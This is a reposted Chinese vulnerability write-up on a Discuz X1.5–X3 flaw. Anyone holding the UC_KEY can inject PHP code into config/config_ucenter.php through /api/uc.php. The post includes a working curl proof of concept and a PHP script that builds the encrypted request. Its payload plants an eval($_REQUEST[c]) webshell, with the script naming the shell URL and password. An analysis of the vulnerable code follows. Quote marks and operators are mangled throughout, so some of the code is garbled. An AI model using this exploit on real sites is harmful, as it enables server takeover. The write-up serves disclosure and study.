码迷,mamicode.com
首页 > Windows程序 > 详细

Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul

时间:2015-03-20 15:53:28      阅读:448      评论:0      收藏:0      [点我收藏+]

标签:

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

在Discuz中,uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetch shell只能获取UCenter Client的webshell,即Discuiz!论坛的webshell

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137

 
2. 漏洞触发条件

1. 必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中
2. 配置文件config.inc.php必须可写 

技术分享

0x1: POC

curl "http://10.1.217.177/discuz/upload/api/uc.php?code=1a09vrjaTITzlGZYe7RHfvEbTx6beEQf4o1lZ1gtsNaH59iWhXbToA4edv5BFoc0t69iiYK0k%2FPv8YhgZ2g" -d "https://sb\‘);eval(\\$_REQUEST[c]);#"

<?php
 
    $key = d0A4qd47Y2F8A8q0o5DcZai3E7n1l4d431obf0Fal6N1h1Bbn5h7ndzdj5w0e872‘;# uc_key 写在这里
    $url = http://localhost/discuz/upload/api/uc.php;
    $arg = action=updateapps&time=.time(); #拿webshell:http://localhost/discuz/upload/config/config_ucenter.php 密码:c

    echo curl ".$url.?code=.rawurlencode(authcode($arg,ENCODE,$key))." -d ".addslashes(<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\‘);eval(\$_REQUEST[c]);#</item></root>).";

    #curl或者用其他工具post提交 

    function authcode($string, $operation = DECODE, $key = ‘‘, $expiry = 0) 
    {

        $ckey_length = 4;
        $key = md5($key);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == DECODE ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ‘‘;

        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);

        $string = $operation == DECODE ? base64_decode(substr($string, $ckey_length)) : sprintf(%010d, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
        $string_length = strlen($string);

        $result = ‘‘;
        $box = range(0, 255);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) 
        {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]); 
        }
  
        for($j = $i = 0; $i < 256; $i++) 
        { 
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp; 
        }

        for($a = $j = $i = 0; $i < $string_length; $i++) 
        { 
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }

        if($operation == DECODE) 
        { 
            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) 
            { 
                return substr($result, 26); 
            } 
            else 
            { 
                return ‘‘; 
            } 
        } 
        else 
        { 
            return $keyc.str_replace(=, ‘‘, base64_encode($result)); 
        } 
    } 
?>

Relevant Link:

http://faq.comsenz.com/viewnews-391
http://0day5.com/archives/1140
http://www.waitalone.cn/discuz-uc_key-getshell.html
http://www.sqlmap.cc/post-134.html


3. 漏洞影响范围
4. 漏洞代码分析

/api/uc.php

function updateapps($get, $post) 
{
    global $_G;

    if(!API_UPDATEAPPS) 
    {
        return API_RETURN_FORBIDDEN;
    }

    $UC_API = ‘‘;
    if($post[UC_API]) 
    {
        $UC_API = str_replace(array(\‘, ", \\, "\0", "\n", "\r"), ‘‘, $post[UC_API]);
        unset($post[UC_API]);
    }

    $cachefile = DISCUZ_ROOT../uc_client/data/cache/apps.php;
    $fp = fopen($cachefile, w);
    $s = "<?php\r\n";
    $s .= $_CACHE[\‘apps\‘] = .var_export($post, TRUE).";\r\n";
    fwrite($fp, $s);
    fclose($fp);

    if($UC_API && is_writeable(DISCUZ_ROOT../config/config_ucenter.php)) 
    {
        //Discuz x系列的添加了个正则 所以加个 http://、https://
        if(preg_match(/^https?:\/\//is, $UC_API)) 
        {
            $configfile = trim(file_get_contents(DISCUZ_ROOT../config/config_ucenter.php));
            $configfile = substr($configfile, -2) == ?> ? substr($configfile, 0, -2) : $configfile;
            /*
            这行代码是漏洞的关键
            1. 第一次提交: \‘);phpinfo();
            /config/config_ucenter.php里的define那句就变成了: define(‘UC_API‘,‘\‘);phpinfo();‘);
        
            2. 第二次再提交
            非贪婪匹配会匹配到: define(‘UC_API‘,‘\‘);
            phpinfo();就留下来了

            完成二次注入
            */
            $configfile = preg_replace("/define\(‘UC_API‘,\s*‘.*?‘\);/i", "define(‘UC_API‘, ‘".addslashes($UC_API)."‘);", $configfile);
            //$configfile = preg_replace("/define(‘UC_API‘,s*‘.*?‘);/i", "define(‘UC_API‘, ‘$UC_API‘);", $configfile);
            if($fp = @fopen(DISCUZ_ROOT../config/config_ucenter.php, w)) 
            {
                @fwrite($fp, trim($configfile));
                @fclose($fp);
            }
        }
    }
    return API_RETURN_SUCCEED;
}

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-048137


5. 防御方法

如果说class_core.php是执行初始化的工作,或者说声明必要的内容,那么这里的C::app()->init()就是把基本上需要的内容都获取到,例如数据库连接,后台设置的内容,用户信息,session信息等等

/api/uc.php

if(!defined(IN_UC)) 
{
    require_once ../source/class/class_core.php;

    //初始化检测
    if (method_exists("C", "app")) 
    {
        $discuz = C::app();
        $discuz->init(); 
    } 

    require DISCUZ_ROOT../config/config_ucenter.php; 

    $get = $post = array();

    $code = @$_GET[code];
    parse_str(authcode($code, DECODE, UC_KEY), $get); 
     

    if(time() - $get[time] > 3600) {
        exit(Authracation has expiried);
    }
    if(empty($get)) {
        exit(Invalid Request);
    }

    include_once DISCUZ_ROOT../uc_client/lib/xml.class.php;
    $post = xml_unserialize(file_get_contents(php://input)); 
     

    if(in_array($get[action], array(test, deleteuser, renameuser, gettag, synlogin, synlogout, updatepw, updatebadwords, updatehosts, updateapps, updateclient, updatecredit, getcredit, getcreditsettings, updatecreditsettings, addfeed))) 
    {
        $uc_note = new uc_note();
        echo $uc_note->$get[action]($get, $post);
        exit();
    } 
    else 
    {
        exit(API_RETURN_FAILED);
    }
} 
else 
{
    exit;
}

继续跟进$discuz->init(); 防御逻辑在\source\class\discuz\discuz_application.php中

private function _get_script_url() 
{
    if(!isset($this->var[PHP_SELF]))
    {
        $scriptName = basename($_SERVER[SCRIPT_FILENAME]);
        if(basename($_SERVER[SCRIPT_NAME]) === $scriptName) 
        {
            $this->var[PHP_SELF] = $_SERVER[SCRIPT_NAME];
        } 
        else if(basename($_SERVER[PHP_SELF]) === $scriptName) 
        {
            $this->var[PHP_SELF] = $_SERVER[PHP_SELF];
        } 
        else if(isset($_SERVER[ORIG_SCRIPT_NAME]) && basename($_SERVER[ORIG_SCRIPT_NAME]) === $scriptName) 
        {
            $this->var[PHP_SELF] = $_SERVER[ORIG_SCRIPT_NAME];
        } 
        else if(($pos = strpos($_SERVER[PHP_SELF],/.$scriptName)) !== false) 
        {
            $this->var[PHP_SELF] = substr($_SERVER[SCRIPT_NAME],0,$pos)./.$scriptName;
        } 
        else if(isset($_SERVER[DOCUMENT_ROOT]) && strpos($_SERVER[SCRIPT_FILENAME],$_SERVER[DOCUMENT_ROOT]) === 0) 
        {
            $this->var[PHP_SELF] = str_replace(\\,/,str_replace($_SERVER[DOCUMENT_ROOT],‘‘,$_SERVER[SCRIPT_FILENAME]));
            $this->var[PHP_SELF][0] != / && $this->var[PHP_SELF] = /.$this->var[PHP_SELF];
        } 
        else 
        {
            system_error(request_tainting);
        }
    }
    return $this->var[PHP_SELF];
}

private function _init_input() 
{
    if (isset($_GET[GLOBALS]) ||isset($_POST[GLOBALS]) ||  isset($_COOKIE[GLOBALS]) || isset($_FILES[GLOBALS])) {
        system_error(request_tainting);
    }

    if(MAGIC_QUOTES_GPC) {
        $_GET = dstripslashes($_GET);
        $_POST = dstripslashes($_POST);
        $_COOKIE = dstripslashes($_COOKIE);
    }

    $prelength = strlen($this->config[cookie][cookiepre]);
    foreach($_COOKIE as $key => $val) {
        if(substr($key, 0, $prelength) == $this->config[cookie][cookiepre]) {
            $this->var[cookie][substr($key, $prelength)] = $val;
        }
    }


    if($_SERVER[REQUEST_METHOD] == POST && !empty($_POST)) {
        $_GET = array_merge($_GET, $_POST);
    }

    if(isset($_GET[page])) {
        $_GET[page] = rawurlencode($_GET[page]);
    }

    if(!(!empty($_GET[handlekey]) && preg_match(/^\w+$/, $_GET[handlekey]))) {
        unset($_GET[handlekey]);
    }

    if(!empty($this->var[config][input][compatible])) {
        foreach($_GET as $k => $v) {
            $this->var[gp_.$k] = daddslashes($v);
        }
    }

    $this->var[mod] = empty($_GET[mod]) ? ‘‘ : dhtmlspecialchars($_GET[mod]);
    $this->var[inajax] = empty($_GET[inajax]) ? 0 : (empty($this->var[config][output][ajaxvalidate]) ? 1 : ($_SERVER[REQUEST_METHOD] == GET && $_SERVER[HTTP_X_REQUESTED_WITH] == XMLHttpRequest || $_SERVER[REQUEST_METHOD] == POST ? 1 : 0));
    $this->var[page] = empty($_GET[page]) ? 1 : max(1, intval($_GET[page]));
    $this->var[sid] = $this->var[cookie][sid] = isset($this->var[cookie][sid]) ? dhtmlspecialchars($this->var[cookie][sid]) : ‘‘;

    if(empty($this->var[cookie][saltkey])) {
        $this->var[cookie][saltkey] = random(8);
        dsetcookie(saltkey, $this->var[cookie][saltkey], 86400 * 30, 1, 1);
    }
    $this->var[authkey] = md5($this->var[config][security][authkey].$this->var[cookie][saltkey]);

}

Relevant Link:

http://blog.csdn.net/jesson002/article/details/11166827


6. 攻防思考

Relevant Link:

http://www.oldjun.com/blog/index.php/archives/59/
http://www.sqlmap.cc/post-17.html
http://www.oldjun.com/blog/index.php/archives/76/

 

Copyright (c) 2014 LittleHann All rights reserved

 

Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul

标签:

原文地址:http://www.cnblogs.com/LittleHann/p/4353380.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!